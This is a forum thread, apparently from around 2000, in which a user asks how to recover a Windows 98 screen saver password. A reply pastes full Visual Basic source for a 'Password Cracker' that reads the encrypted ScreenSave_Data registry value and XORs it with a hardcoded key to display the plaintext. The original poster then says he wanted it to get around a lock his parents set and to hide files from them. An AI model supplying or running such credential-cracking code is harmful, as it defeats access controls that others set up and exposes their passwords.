Screen Saver password

[agent]

Is there an easy way to get the screen saver password for windows 98? Is it stored in the registry or in the [username].pwl file? I need to return the password, not verify it.

'**************************************
'Windows API/Global Declarations for :Sh
'     owScreensaverpwd
'**************************************
'Save it as crackpwd.bas
'----------------8< Cut here --------
'     ---------------------------------
Attribute VB_Name = "Module1"
Public Const READ_CONTROL = &H20000
Public Const STANDARD_RIGHTS_READ = (READ_CONTROL)
Public Const STANDARD_RIGHTS_WRITE = (READ_CONTROL)
Public Const KEY_QUERY_VALUE = &H1
Public Const KEY_SET_VALUE = &H2
Public Const KEY_CREATE_SUB_KEY = &H4
Public Const KEY_ENUMERATE_SUB_KEYS = &H8
Public Const KEY_NOTIFY = &H10
Public Const KEY_CREATE_LINK = &H20
Public Const SYNCHRONIZE = &H100000
Public Const STANDARD_RIGHTS_ALL = &H1F0000
Public Const KEY_READ = ((STANDARD_RIGHTS_READ Or _
KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) _
And (Not SYNCHRONIZE))
Public Const KEY_WRITE = ((STANDARD_RIGHTS_WRITE Or _
KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Public Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or _
KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY _
Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) _
And (Not SYNCHRONIZE))
Public Const KEY_EXECUTE = ((KEY_READ) And (Not SYNCHRONIZE))
Public Const ERROR_SUCCESS = 0&


Declare Function RegOpenKeyEx Lib "advapi32.dll" _
    Alias "RegOpenKeyExA" (ByVal hKey As Long, _
    ByVal lpSubKey As String, ByVal ulOptions As Long, _
    ByVal samDesired As Long, phkResult As Long) As Long


Declare Function RegQueryValueEx Lib "advapi32.dll" _
    Alias "RegQueryValueExA" (ByVal hKey As Long, _
    ByVal lpValueName As String, ByVal lpReserved As Long, _
    lpType As Long, lpData As Any, lpcbData As Long) As Long


Declare Function RegCloseKey Lib "advapi32.dll" _
    (ByVal hKey As Long) As Long
    'Module Function------------------------
    '     ----------------------------------------
    '     ---------------


Function sdaGetRegEntry(strKey As String, _
    strSubKeys As String, strValName As String, _
    lngType As Long) As String
    '* Demonstration of win32 API's to query
    '     
    ' the system registry
    ' Stu Alderman -- 2/30/96
    On Error Goto sdaGetRegEntry_Err
    Dim lngResult As Long, lngKey As Long
    Dim lngHandle As Long, lngcbData As Long
    Dim strRet As String


    Select Case strKey
        Case "HKEY_CLASSES_ROOT": lngKey = &H80000000
        Case "HKEY_CURRENT_CONFIG": lngKey = &H80000005
        Case "HKEY_CURRENT_USER": lngKey = &H80000001
        Case "HKEY_DYN_DATA": lngKey = &H80000006
        Case "HKEY_LOCAL_MACHINE": lngKey = &H80000002
        Case "HKEY_PERFORMANCE_DATA": lngKey = &H80000004
        Case "HKEY_USERS": lngKey = &H80000003
        Case Else: Exit Function
    End Select

If Not ERROR_SUCCESS = RegOpenKeyEx(lngKey, _
strSubKeys, 0&, KEY_READ, _
lngHandle) Then Exit Function

lngResult = RegQueryValueEx(lngHandle, strValName, _
0&, lngType, ByVal strRet, lngcbData)
strRet = Space(lngcbData)
lngResult = RegQueryValueEx(lngHandle, strValName, _
0&, lngType, ByVal strRet, lngcbData)

If Not ERROR_SUCCESS = RegCloseKey(lngHandle) Then _
lngType = -1&

sdaGetRegEntry = strRet

sdaGetRegEntry_Exit:
On Error Goto 0
Exit Function
sdaGetRegEntry_Err:
lngType = -1&
MsgBox Err & "> " & Error$, 16, _
"GenUtils/sdaGetRegEntry"
Resume sdaGetRegEntry_Exit
End Function
'End Function
					
 
					
'**************************************
' Name: ShowScreensaverpwd
' Description:This source code show how 
'     simple it is to crack the windows screen
'     saver password!
NEW! I've fixed some Bugs...
' By: Sebastian
'
'
' Inputs:Just start the form.
'
' Returns:It shows the password with the
'     Print command...
'
'Assumes:Just copy the code below and pa
'     st it into the notepad. Save it as crack
'     pwd.bas (Windows API) and crackpwd.frm! 
'     Then add it to a new projekt and start i
'     t.
'
'Side Effects:None
'

'Save it as crackpwd.frm, add crackpwd.b
'     as (the code above)
'and compile it!
'-------------- 8< Cut here----------
'     ----------------------------------------
'     --
VERSION 5.00
Begin VB.Form Form1 
BackColor=&H00000000&
BorderStyle =4 'Festes Werkzeugfenster
Caption ="Password Cracker"
ClientHeight=4905
ClientLeft =45
ClientTop=300
ClientWidth =6855


ForeColor=&H00FFFFFF&
    LinkTopic="Form1"
    MaxButton=0'False
    MinButton=0'False
    ScaleHeight =4905
    ScaleWidth =6855
    ShowInTaskbar=0'False
    StartUpPosition =3 'Windows-Standard
    End
    Attribute VB_Name = "Form1"
    Attribute VB_GlobalNameSpace = False
    Attribute VB_Creatable = False
    Attribute VB_PredeclaredId = True
    Attribute VB_Exposed = False


Private Sub Form_Load()
    Me.Show
    
    Print
    Print "Read Registry..."
    Print
    Print "Screensaver Password: " + Screensavepwd
    
End Sub


Function Screensavepwd() As String
    'Dim's for the Registry
    Dim lngType As Long, varRetString As Variant
    Dim lngI As Long, intChar As Integer
    'Dim's for the Password decoding
    Dim Ciphertext As String, Key As String
    Dim temp1 As String, temp2 As String
    'Registry Path to the encrypted Password
    '     
    varRetString = sdaGetRegEntry("HKEY_CURRENT_USER", _
    "Control Panel\desktop", "ScreenSave_Data", "1")
    
    'the Encrypted Password
    Ciphertext = varRetString


    If Len(Ciphertext) <> 1 Then
        Ciphertext = Left$(varRetString, Len(Ciphertext) - 1)
        Print Ciphertext
        'Micro$oft's "Secret" Key
        Key = "48EE761D6769A11B7A8C47F85495975F414141"
        
        'XOR every Ciphertextbyte with the Keyby
        '     te to get
        'the plaintext


        For i = 1 To Len(Ciphertext) Step 2
            temp1 = Hex2Dez(Mid$(Ciphertext, i, 2))
            temp2 = Hex2Dez(Mid$(Key, i, 2))
            plaintext = plaintext + Chr(temp1 Xor temp2)
        Next i
        Screensavepwd = plaintext
    Else
        Screensavepwd = " no Password"
    End If
End Function


Function Hex2Dez&(H$)


    If Left$(H$, 2) <> "&H" Then
        H$ = "&H" + H$
    End If
    Hex2Dez& = Val(H$)
End Function

[agent]

Well done my friend. Thank you very much for this code. Just one question: how did you find 'Micro$oft's "Secret" Key'?

[Edited by agent on 07-05-2000 at 10:28 PM]

I did not actually write the code. I got it from http://www.planet-source-code.com..great place to get stuff. I will give you the link to where I got it from and you may ask the author yourself.

http://www.planet-source-code.com/vb...txtCodeId=2360

Glad it worked out for you. Did you ever think anybody was going to answer this? ;]

[agent]

At the time, I needed it. My parents decided that I was unfit to use their computer (I was also grounded off of mine) So they put in a screen saver password.
My intention was to remove some files that I didn't want the parents to see. I got around needing the password by grabbing a spare keybord for my computer and removing the files over the network.
I think I could still use the the screen saver pasword getter thing to my advantage.
I didn't figure anybody would answer the message at all, because nobody answered it in the first three days. That's usually a sign that a message won't get answered.